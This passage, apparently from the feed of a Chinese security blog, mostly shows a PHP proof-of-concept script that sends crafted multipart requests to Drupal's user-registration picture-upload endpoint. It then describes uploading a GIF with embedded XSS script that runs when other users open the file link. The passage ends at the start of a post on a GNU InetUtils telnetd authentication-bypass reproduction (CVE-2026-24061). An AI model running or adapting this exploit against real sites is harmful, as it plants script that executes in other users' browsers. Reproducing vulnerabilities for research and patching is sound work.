&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;form_build_id&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//&amp;#34;form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n&amp;#34;.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$formid&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;form_id&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;user_register_form&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;contact&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;timezone&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;America/New_York&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;_triggering_element_name&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;user_picture_0_upload_button&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;_triggering_element_value&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Upload&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;_drupal_ajax&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;ajax_page_state[theme]&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;bartik&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;ajax_page_state[theme_token]&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;ajax_page_state[libraries]&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325--&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$pk &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 	&lt;span style="color:#e6db74"&gt;&amp;#34;POST /user/register?element_parents=user_picture/widget/0&amp;amp;ajax_form=1&amp;amp;_wrapper_format=drupal_ajax HTTP/1.1&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;Host: &amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;$host&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;Accept: application/json, text/javascript, */*; q=0.01&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;Accept-Language: en-US,en;q=0.5&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;X-Requested-With: XMLHttpRequest&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;Referer: http://&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt;$host&lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;/user/register&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Length: &amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strlen&lt;/span&gt;($data)&lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$data;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;uploading file, please wait...&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; ($i &lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; $i &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;; $i&lt;span style="color:#f92672"&gt;++&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$fp &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fsockopen&lt;/span&gt;($host,$port,$e,$err,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;$fp) {&lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;not connected&amp;#34;&lt;/span&gt;);}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fputs&lt;/span&gt;($fp,$pk);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$out&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;feof&lt;/span&gt;($fp)){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $out&lt;span style="color:#f92672"&gt;.=&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;fread&lt;/span&gt;($fp,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fclose&lt;/span&gt;($fp);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// echo &amp;#34;Got &amp;#34;.$i.&amp;#34;/2 500 errors\n&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// echo $out.&amp;#34;\n&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;sleep&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;通过blog-poc.php 上传一个带有 xss代码（&lt;!-- raw HTML omitted --&gt;alert(123);&lt;!-- raw HTML omitted --&gt;）的xc0.gif 图片，当其他用户访问该文件的链接时，XSS代码将被执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="http://localhost:8080//sites/default/files/pictures/2026-02/_0"&gt;localhost:8080//sites/default/files/pictures/2026-02/_0&lt;/a&gt;&lt;/p&gt;</description></item><item><title>GNU InetUtils telnetd 参数注入认证绕过漏洞复现（CVE-2026-24061）</title><link>https://kabuqin.github.io/cappuccino.github.io/posts/gnu-inetutils-telnetd-%E5%8F%82%E6%95%B0%E6%B3%A8%E5%85%A5%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0cve-2026-24061/</link><pubDate>Mon, 27 Oct 2025 00:00:00 +0000</pubDate><guid>https://kabuqin.github.io/cappuccino.github.io/posts/gnu-inetutils-telnetd-%E5%8F%82%E6%95%B0%E6%B3%A8%E5%85%A5%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0cve-2026-24061/</guid><description>&lt;h1 id="gnu-inetutils-telnetd-参数注入认证绕过漏洞复现cve-2026-24061"&gt;GNU InetUtils telnetd 参数注入认证绕过漏洞复现（CVE-2026-24061）&lt;/h1&gt;
&lt;p&gt;GNU InetUtils（GNU Network Utilities）是 GNU 项目开发的一个开源网络工具集合，旨在提供一套符合 POSIX 和 GNU 标准的传统网络管理、通信及测试的基础命令行工具和服务器端守护进程。其核心组件包括 &lt;a href="https://www.google.com/search?q=ping&amp;amp;sca_esv=f5bb93abf84105ec&amp;amp;sxsrf=ANbL-n4AqRXFa1d-E2feCF4mCVim3qkXSw%3A1770714814271&amp;amp;ei=vvaKaYCOENXU1e8P5L_PyAY&amp;amp;biw=1912&amp;amp;bih=948&amp;amp;ved=2ahUKEwino-iKy86SAxWic_UHHRlnDvsQgK4QegQIARAB&amp;amp;uact=5&amp;amp;oq=GNU+InetUtils+%E6%98%AF%E4%BB%80%E4%B9%88&amp;amp;gs_lp=Egxnd3Mtd2l6LXNlcnAiF0dOVSBJbmV0VXRpbHMg5piv5LuA5LmIMggQABiABBiiBDIFEAAY7wUyBRAAGO8FMgUQABjvBTIFEAAY7wVI8BBQAFjkD3AAeACQAQCYAb0BoAGpCqoBAzAuObgBA8gBAPgBAvgBAZgCCaACxArCAgQQIxgnwgIEEAAYHsICBxAAGMcDGB7CAgUQIRigAZgDAJIHAzAuOaAHkxGyBwMwLjm4B8QKwgcFMC44LjHIBxGACAA&amp;amp;sclient=gws-wiz-serp"&gt;ping&lt;/a&gt;、&lt;a 